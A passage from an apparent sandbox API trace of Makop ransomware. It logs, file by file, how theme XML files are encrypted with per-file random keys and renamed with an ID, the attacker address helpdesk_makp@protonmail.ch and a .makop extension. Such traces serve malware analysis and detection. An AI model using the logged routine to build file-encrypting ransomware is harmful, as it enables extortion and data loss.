pdwDataLen=0x6577a90*=0xe30, dwBufLen=0xe30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe30) returned 1 [0161.344] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.344] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe30, lpOverlapped=0x0) returned 1 [0161.345] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.345] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.345] SetEndOfFile (hFile=0xf0) returned 1 [0161.352] GetProcessHeap () returned 0x48a0000 [0161.352] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0161.352] GetProcessHeap () returned 0x48a0000 [0161.352] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.352] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0161.352] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.354] CloseHandle (hObject=0xf0) returned 1 [0161.354] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="PERSPE~1.XML")) returned 1 [0161.354] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml") returned 80 [0161.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.356] GetProcessHeap () returned 0x48a0000 [0161.356] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.356] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.356] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.356] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0161.360] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.360] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.360] GetProcessHeap () returned 0x48a0000 [0161.361] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.361] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.361] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.361] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.361] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.361] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.361] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.362] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.362] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.362] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.362] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.362] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.362] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe0f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe0f, lpOverlapped=0x0) returned 1 [0161.362] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe10, dwBufLen=0xe10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe10) returned 1 [0161.362] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.362] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe10, lpOverlapped=0x0) returned 1 [0161.363] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.363] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xee4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.363] SetEndOfFile (hFile=0xf0) returned 1 [0161.370] GetProcessHeap () returned 0x48a0000 [0161.370] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.370] GetProcessHeap () returned 0x48a0000 [0161.370] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.370] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 127 [0161.370] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.372] CloseHandle (hObject=0xf0) returned 1 [0161.372] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0161.372] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml") returned 76 [0161.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.375] GetProcessHeap () returned 0x48a0000 [0161.375] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.375] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.375] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.376] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x1, lpOverlapped=0x0) returned 1 [0161.380] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.380] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.380] GetProcessHeap () returned 0x48a0000 [0161.380] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.380] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.381] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.381] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.381] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.381] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.381] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.381] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.381] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.382] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.382] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.382] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.382] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe7f, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe7f, lpOverlapped=0x0) returned 1 [0161.382] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe80, dwBufLen=0xe80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe80) returned 1 [0161.382] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.382] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe80, lpOverlapped=0x0) returned 1 [0161.382] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.383] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.383] SetEndOfFile (hFile=0xf0) returned 1 [0161.390] GetProcessHeap () returned 0x48a0000 [0161.390] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.390] GetProcessHeap () returned 0x48a0000 [0161.390] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.390] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0161.390] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.392] CloseHandle (hObject=0xf0) returned 1 [0161.392] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b1a6f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b1a6f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1 [0161.392] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml") returned 79 [0161.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.393] GetProcessHeap () returned 0x48a0000 [0161.393] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.393] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.394] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.394] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.399] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.399] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.399] GetProcessHeap () returned 0x48a0000 [0161.399] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.399] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.399] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.399] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.400] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.400] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.400] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.400] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.400] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.400] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.400] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.401] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.401] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe18, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe18, lpOverlapped=0x0) returned 1 [0161.401] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20, dwBufLen=0xe20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe20) returned 1 [0161.401] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.401] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe20, lpOverlapped=0x0) returned 1 [0161.401] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.401] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.402] SetEndOfFile (hFile=0xf0) returned 1 [0161.408] GetProcessHeap () returned 0x48a0000 [0161.408] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.408] GetProcessHeap () returned 0x48a0000 [0161.408] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.408] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 126 [0161.408] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Slipstream.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\slipstream.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.410] CloseHandle (hObject=0xf0) returned 1 [0161.411] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xee9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0161.411] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml") returned 77 [0161.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\solstice.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.413] GetProcessHeap () returned 0x48a0000 [0161.413] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.413] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.413] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.414] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0161.418] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.418] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.418] GetProcessHeap () returned 0x48a0000 [0161.418] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.418] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.418] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.418] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.418] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.419] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.419] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.419] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.419] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.419] CryptImportKey (in: 